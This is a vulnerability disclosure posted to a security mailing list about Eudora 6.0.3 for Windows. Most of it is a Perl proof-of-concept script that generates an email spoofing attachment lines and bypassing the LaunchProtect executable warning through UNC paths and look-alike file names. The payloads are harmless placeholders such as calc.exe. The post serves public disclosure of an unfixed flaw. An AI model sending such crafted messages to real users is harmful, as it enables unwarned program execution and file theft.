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Message-ID: <200403190239.i2J2dQ1521367@milan.maths.usyd.edu.au> From: psz at maths.usyd.edu.au (Paul Szabo) Subject: Eudora 6.0.3 attachment spoof, LaunchProtect Eudora 6.0.3 for Windows was released recently. Though known for years, the spoofing of attachments is still not fixed; the problem with LaunchProtect is not fixed either. Spoofing demo (essentially identical to 6.0.1 version) below. Cheers, Paul Szabo - psz@...hs.usyd.edu.au http://www.maths.usyd.edu.au:8000/u/psz/ School of Mathematics and Statistics University of Sydney 2006 Australia #!/usr/bin/perl -- use MIME::Base64; print "From: me\n"; print "To: you\n"; print "Subject: Eudora 6.0.3 on Windows spoof, LaunchProtect\n"; print "MIME-Version: 1.0\n"; print "Content-Type: multipart/mixed; boundary=\"zzz\"\n"; print "\n"; print "This is a multi-part message in MIME format.\n"; print "--zzz\n"; print "Content-Type: text/plain\n"; print "Content-Transfer-Encoding: 7bit\n"; print "\n"; print "Pipe the output of this script into: sendmail -i victim\n"; print "\nWith spoofed attachments, we could 'steal' files if the message was forwarded (not replied to).\n"; print "\nWithin plain-text email (or plain-text, inline MIME parts) embedded CR=x0d characters get converted internally into a NUL=x00 and ignored, so we can spoof \"attachment converted\" lines:\n"; print "\nThe following work fine (but are boring and/or put up warnings):\n"; print "Attachment Converted\r: \"c:\\winnt\\system32\\calc.exe\"\n"; print "Attachment Converted\r: c:\\winnt\\system32\\calc.exe\n"; print "(Note how JavaScript is done with IE, web with default browser Netscape)\n"; print "Attachment Converted\r: <A href=javascript:alert(%27hello%27)>hello.txt</a>\n"; print "Attachment Converted\r: <A href=http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx>web.txt</a>\n"; print "Attachment Converted\r: <A href=c:/winnt/system32/calc.exe>file.txt</a>\n"; print "\nIf we can guess the full path to the attach directory then can change the name shown to anything we like, but get broken icon:\n"; print "Attachment Converted\r: <A href=H:/eudora/attach/calc>file.txt</a>\n"; print "\nCuteness value only:\n"; print "Attachment Converted\r: <A href=c:/winnt/system32/calc.exe>file1.txt</a> xyz <A href=c:/winnt/system32/calc.exe>file2.txt</a>\n"; print "\n<x-html> With <b>HTML</b> <i>inclusions</i> we can do <a href=c:/winnt/system32/calc.exe>file</a>, <a href=\"http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\">http</a> and <a href=\"javascript:alert(\x27hello\x27)\">javascript</a> references. Any way to exploit this? </x-html>\n"; print "\n<x-rich> Can also do RTF inclusions. Can this be abused? </x-rich>\n"; print "\nThose <x-xyz></x-xyz> constructs allow spoofing attachments easily, without embedded CR:\n\n"; print "HTML\n"; print "<x-html></x-html>Attachment Converted: \"xyz\"\n"; print "Rich\n"; print "<x-rich></x-rich>Attachment Converted: \"xyz\"\n"; print "Flowed\n"; print "<x-flowed></x-flowed>Attachment Converted: \"xyz\"\n"; print "\n"; print "\n--zzz\n"; print "Content-Type: text/plain; name=\"plain.txt\"\n"; print "Content-Transfer-Encoding: 7bit\n"; print "Content-Disposition: inline; filename=\"plain.txt\"\n"; print "\n"; print "Within a 'plain' attachment:\n"; print "Attachment Converted\r: \"c:\\winnt\\system32\\calc.exe\"\n"; print "\n--zzz\n"; print "Content-Type: text/plain; name=\"qp.txt\"\n"; print "Content-Transfer-Encoding: quoted-printable \n"; print "Content-Disposition: inline; filename=\"qp.txt\"\n"; print "\n"; print "Within quoted-printable encoded parts still need the embedded CR:\n"; print "=41ttachment=20=43onverted\r=3a \"c:\\winnt\\system32\\calc.exe\"\n"; print "\n--zzz\n"; print "Content-Type: text/plain; name=\"b64.txt\"\n"; print "Content-Transfer-Encoding: base64\n"; print "Content-Disposition: inline; filename=\"b64.txt\"\n"; print "\n"; $z = "Within base64 encoded (plain-text, inline) MIME parts, can spoof\r without embedded CR (but line termination is CR-NL):\r Attachment Converted: \"c:\\winnt\\system32\\calc.exe\"\r\n"; print encode_base64($z); print "\n--zzz\n"; print "Content-Type: text/plain\n"; print "Content-Transfer-Encoding: 7bit\n"; print "\n"; print "\n=====\n"; $X = 'README'; $Y = "$X.bat"; print "\nThe X - X.exe dichotomy: send a plain $X attachment:\n"; $z = "rem Funny joke\r\npause\r\n"; print "begin 600 $X\n", pack('u',$z), "`\nend\n"; print "\nand (in another message or) after some blurb so is scrolled off in another screenful, also send $Y. Clicking on $X does not get it any more (but gets $Y, with a LauchProtect warning):\n"; $z = "rem Big joke\r\nrem Should do something nasty\r\npause\r\n"; print "begin 600 $Y\n", pack('u',$z), "`\nend\n"; print "\n=====\n"; print " Eudora 6.0.3 LaunchProtect handles the X-X.exe dichotomy in the attach directory only, and allows spoofed attachments pointing to an executable stored elsewhere to run without warning:\n"; print "Attachment Converted\r: <a href=c:/winnt/system32/calc>go.txt</a>\n"; print "Attachment Converted\r: c:/winnt/system32/calc\n"; print " Can be exploited if there is more than one way into attach: in my setup H: and \\\\rome\\home are the same thing, but Eudora does not know that.\n"; print "These elicit warnings:\n"; print "Attachment Converted\r: <a href=h:/eudora/attach/README>readme.txt</a>\n"; print "Attachment Converted\r: h:/eudora/attach/README\n"; print "Attachment Converted\r: \\README\n"; print "Attachment Converted\r: .\\README\n"; print "Attachment Converted\r: \\.\\README\n"; print "Attachment Converted\r: ?\\README\n"; print "Attachment Converted\r: \\?\\README\n"; print "while these do the bad thing without warning:\n"; print "Attachment Converted\r: <a href=file://rome/home/eudora/attach/README>readme</a>\n"; print "Attachment Converted\r: //rome/home/eudora/attach/README\n"; print "Attachment Converted\r: \\\\rome\\home\\eudora\\attach\\README\n"; print " For the default setup, Eudora knows that C:\\Program Files and C:\\Progra~1 are the same thing:\n"; print "Attachment Converted\r: \"c:/program files/qualcomm/eudora/attach/README\"\n"; print "Attachment Converted\r: \"c:/progra~1/qualcomm/eudora/attach/README\"\n"; print " and also knows that various UNC references: \\\\localhost\\c... \\\\127.0.0.1\\c... \\\\BIOSNAME\\c... \\\\DNSNAME\\c... \\\\IP\\c... \\\\\\?\\c... \\\\c... ...c:\\progr... ...c\\progr... ...c:progr... ...program files\\... ...progra~1\\... or even .\\NoSuchDir\\..\\README //c|\\Program Files\\qualcomm\\eudora\\attach\\README \\\\c|\\Program Files\\qualcomm\\eudora\\attach\\README res://c:\\Program Files\\qualcomm\\eudora\\attach\\README res:\\\\c:\\Program Files\\qualcomm\\eudora\\attach\\README shell:Fonts\\..\\..\\Program Files\\qualcomm\\eudora\\attach\\README %ProgramFiles%\\qualcomm\\eudora\\attach\\README %windir%\\..\\Program Files\\qualcomm\\eudora\\attach\\README are all the same thing... "; print "\n"; print "\n--zzz--\n"; print "\n";
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